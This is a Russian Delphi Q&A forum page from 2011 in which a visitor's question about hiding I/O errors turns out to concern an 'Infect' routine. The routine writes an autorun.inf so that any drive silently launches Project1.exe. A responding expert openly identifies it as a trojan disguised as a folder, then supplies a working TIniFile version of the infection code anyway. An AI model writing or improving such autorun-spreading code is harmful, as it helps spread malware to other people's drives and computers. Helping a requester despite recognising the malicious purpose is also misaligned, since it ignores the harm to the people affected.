|
Вопрос # 5 557/ вопрос открыт / |
|
Здравствуйте!
Мне нужен код чтобы все возникаемые ошибки пропускались (не выводились на экран).
 |
Вопрос задал: NoSleep (статус: Посетитель)
Вопрос отправлен: 8 августа 2011, 14:56
Состояние вопроса: открыт, ответов: 2.
|
Ответ #1. Отвечает эксперт: min@y™
Цитата (NoSleep):
Напиши!
Ну, вот как-то так:
function Infect(const Drive: Char): Boolean;
const
Section = 'AUTORUN';
var
Ini: TIniFile;
begin
try
Ini:= TIniFile.Create(Drive + ':\autorun.inf');
try
Ini.WriteString(Section, 'shellexecute', 'Project1.exe');
Ini.WriteString(Section, 'shell\explore', 'Проводник');
Ini.WriteString(Section, 'shell\explore\Command', 'Project1.exe');
Ini.WriteString(Section, 'action', 'Открыть папку');
Ini.WriteString(Section, 'shell\open', 'Открыть');
Ini.WriteString(Section, 'shell\open\Command', 'Project1.exe');
finally
Ini.Free();
end;
Result:= True;
except
Result:= False;
end;
end;
 |
Ответ отправил: min@y™ (статус: Доктор наук)
Время отправки: 8 августа 2011, 19:01
|
Ответ #2. Отвечает эксперт: JAE
Здравствуйте, Еремин В.Е!
А блок try ... except... пробовали?
 |
Ответ отправил: JAE (статус: 1-ый класс)
Время отправки: 19 августа 2011, 13:42
|
Мини-форум вопроса
Всего сообщений: 14; последнее сообщение — 8 августа 2011, 17:50; участников в обсуждении: 4.
|
Вадим К (статус: Академик), 8 августа 2011, 15:00 [#1]:
какие ошибки? ошибки исполнения или компиляции? или ошибки, которые Вы допускаете в программе?
Галочка "подтверждения прочтения" - вселенское зло.
|
|
|
min@y™ (статус: Доктор наук), 8 августа 2011, 15:02 [#2]:
Цитата (NoSleep):
Мне нужен код чтобы все возникаемые ошибки пропускались (не выводились на экран).
И побыстрее!!!111
Напиши подробнее, что тебе нужно и в какой ситуации.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
min@y™ (статус: Доктор наук), 8 августа 2011, 15:10 [#3]:
Если нужно отключить сообщения дебаггера, то:
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
NoSleep (статус: Посетитель), 8 августа 2011, 15:12 [#4]:
Ошибки исполнения.
|
|
|
NoSleep (статус: Посетитель), 8 августа 2011, 15:13 [#5]:
Ошибки I\O.
|
|
|
min@y™ (статус: Доктор наук), 8 августа 2011, 15:22 [#6]:
Цитата (NoSleep):
Ошибки I\O.
Давай посмотреть кусок кода, где у тебя эти ошибки появляются.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Вадим К (статус: Академик), 8 августа 2011, 15:29 [#7]:
ошибки нужно не "не выводить на экран", а писать код так, что бы они не возникали или обрабатывались корректно.
Галочка "подтверждения прочтения" - вселенское зло.
|
|
|
min@y™ (статус: Доктор наук), 8 августа 2011, 15:42 [#8]:
Цитата (Вадим К):
ошибки нужно не "не выводить на экран", а писать код так, что бы они не возникали или обрабатывались корректно.
Полностью поддерживаю!
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
NoSleep (статус: Посетитель), 8 августа 2011, 16:48 [#9]:
procedure InFect(FileName: String);
var
F : TextFile;
text : string;
begin
AssignFile(F,FileName);
ReWrite(F);
WriteLn(F,'[AUTORUN]');
Write(F,'shellexecute=Project1.exe');
Write(F,'shell\explore=Проводник');
Write(F,'shell\explore\Command=Project1.exe');
Write(F,'action=Открыть папку');
Write(F,'shell\open=Открыть');
Write(F,'shell\open\Command=Project1.exe');
CloseFile(F);
Reset(F);
while not Eof(F) do
begin
ReadLn(F, text);
end;
CloseFile(F);
end;
Cтрелка показывает на begin.
|
|
|
min@y™ (статус: Доктор наук), 8 августа 2011, 16:57 [#10]:
Авторан Windows - это вселенское зло! Троян пишешь? замаскированный под папку? Ай, маладэц, карощий малчег!
Забудь паскалевские I/O-функции. Здесь юзай TIniFile. Могу пример тебе написать.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
min@y™ (статус: Доктор наук), 8 августа 2011, 16:58 [#11]:
А зачем вот этот кусок?
Цитата (NoSleep):
while not Eof(F) do
begin
ReadLn(F, text);
end;
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
NoSleep (статус: Посетитель), 8 августа 2011, 17:02 [#12]:
Напиши!
Только я не понял ошибка в строке:
AssignFile(F,FileName);
или где.
|
|
|
NoSleep (статус: Посетитель), 8 августа 2011, 17:04 [#13]:
Не знаю я скопировал код из другого вопроса скопировал.
|
|
bugmenot (статус: 3-ий класс), 8 августа 2011, 17:50 [#14]:
Цитата (NoSleep):
скопировал код из другого вопроса скопировал Воистину, бро!
виконання програми розпочинається з того самого мiсця, де призупинилося.
|
Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.
|
